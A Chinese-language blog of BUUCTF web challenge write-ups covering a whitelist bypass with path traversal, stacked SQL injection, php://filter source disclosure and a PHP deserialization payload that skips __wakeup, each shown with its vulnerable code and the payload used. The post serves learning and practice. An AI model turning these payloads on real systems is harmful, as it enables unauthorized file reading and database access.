本篇记录CTF中Web题WriteUp,适合入门新手但不适用于零基础,推荐使用右下角目录浏览
2021-5-12
[HCTF 2018]WarmUp - 出自BUUCTF
打开页面发现有张图片 我们直接查看源码分析
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
可以看到存在页面: source.php 访问可以直接看到源代码 其中
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)
定义了三个条件
1.不允许为空
2.必须为字符串
3.通过checkFile()函数校验
接下来分析checkFile()函数:
class emmm //定义emmm类
{
public static function checkFile(&$page) #//将传入的参数给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //声明变量$whitelist数组
if (! isset($page) || !is_string($page)) { //若$page值为空或者$page不是字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //若$page值存在于$whitelist数组中
return true;
}
$_page = mb_substr( //截取$page字符串?前面的部分,若无则截取整段$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
$whitelist = ["source"=>"source.php","hint"=>"hint.php"] 定义了hint的参数只能为source.php或hint.php
我们在source.php后面跟上?file=hint.php 页面返回结果
flag not here, and flag in ffffllllaaaagggg
可以知道flag文件的文件名为ffffllllaaaagggg
其中 urldecode()对$page进行了解码后再次截取了?前的内容并且赋值给$_page
$_page = urldecode($page); //url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
我们可以通过这个函数绕过白名单检测,将?编码两次后的结果%253F作为参数拼接出payload
http://5bc874fd-f511-4f3f-91eb-6fac30058d51.node3.buuoj.cn/source.php?file=hint.php%253F../../../../../ffffllllaaaagggg
FLAG : flag{34643d71-22e7-4c62-bcd1-8245dc2e813a}
2021-5-21
[SUCTF 2019]EasySQL - 出自BUUCTF
我们首先进入页面 对注入点进行测试 输入数字页面回显数组
尝试输入字符串页面没有回显
输入注入语句页面返回Nonono.
尝试堆叠注入 构建语句查询数据库
1;show databases;
同理构建语句查询当前使用的库下的所有的表
1;show tables;
尝试使用show columns查看flag表内的数据
1;show columns from Flag;#
发现from被屏蔽了 页面返回Nonono.
多次尝试无果 在writeup内找到网页源代码
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile
|readfile|where|from|union|update|delete|if|sleep|extractvalue|
updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
我们找到注入点的语句
select ".$post['query']."||flag from Flag
语句会创建query传来参数的字段与结果一起查询
构建语句 查询表中所有结果 在网页中返回flag值
select *,1||flag from Flag
flag{d6a4e191-b241-44b2-8132-b4bbf9968a52}
[ACTF2020 新生赛]Include - 出自BUUCTF
打开页面点击tips看到URL对flag.php页面进行了包含
进行多次尝试包含上级目录的是否存在flag文件无果转换思路 通过php伪协议查看当前页面源码 构建语句
file=php://filter/read=convert.base64-encode/resource=flag.php
网页返回base64加密后的源码
解码后发现网页源代码内就存在flag
>>> import base64
>>> str ="PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YTNmNGY0YjUtNTdkMy00ZDViLWEzMTQtMzQ1ZTIxODU1MmFhfQo="
>>> base64.b64decode(str)
b'<?php\necho "Can you find out the flag?";\n//flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}\n'
>>>
flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}
2021-6-01
[极客大挑战 2019]PHP - 出自BUUCTF
知识点:PHP反序列化
我们首先打开页面看到提示存在备份文件,使用目录扫描工具扫描
得到压缩包www.zip 查看压缩包下存在三个页面
-
index.php - 主页
-
class.php - 主页包含页面
-
flag.php - 存在错误Flag的无用页面
在index.php看到源码
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
对页面class.php进行了包含 并且接受传入反序列化后的select参数
接下来分析class.php页面
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
可以看到当传入参数username='admin'且password=100时,执行__destruct()方法将会得到Flag,所以我们构建序列化参数
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$a = new Name();
var_dump(serialize($a));
保存代码后执行 获得序列化后的数据
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在传入参数前还需要注意__wakeup()魔法函数 在这顺便贴一下常见魔法函数:
__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
__wakeup()魔法函数实际上是可以跳过的,当反序列化字符串时,属性的个数大于实际属性个数时,例如:
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
0 代表对象名
3 代表占三个字符
Name 类名
3 代表3个属性
s 数据类型string
Nameusername 类名+属性名
在传入数据之前我们还需要注意Name类中声明字段时,使用private声明的私有字段,*private修饰变量时为x00类名x00变量名
但是在构建脚本时x00会报错,所以用%00来填充,根据已有信息,构建payload获得Flag
[URL]?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
flag{8ed20c73-6cc3-4082-b5d2-121ec8c64f65}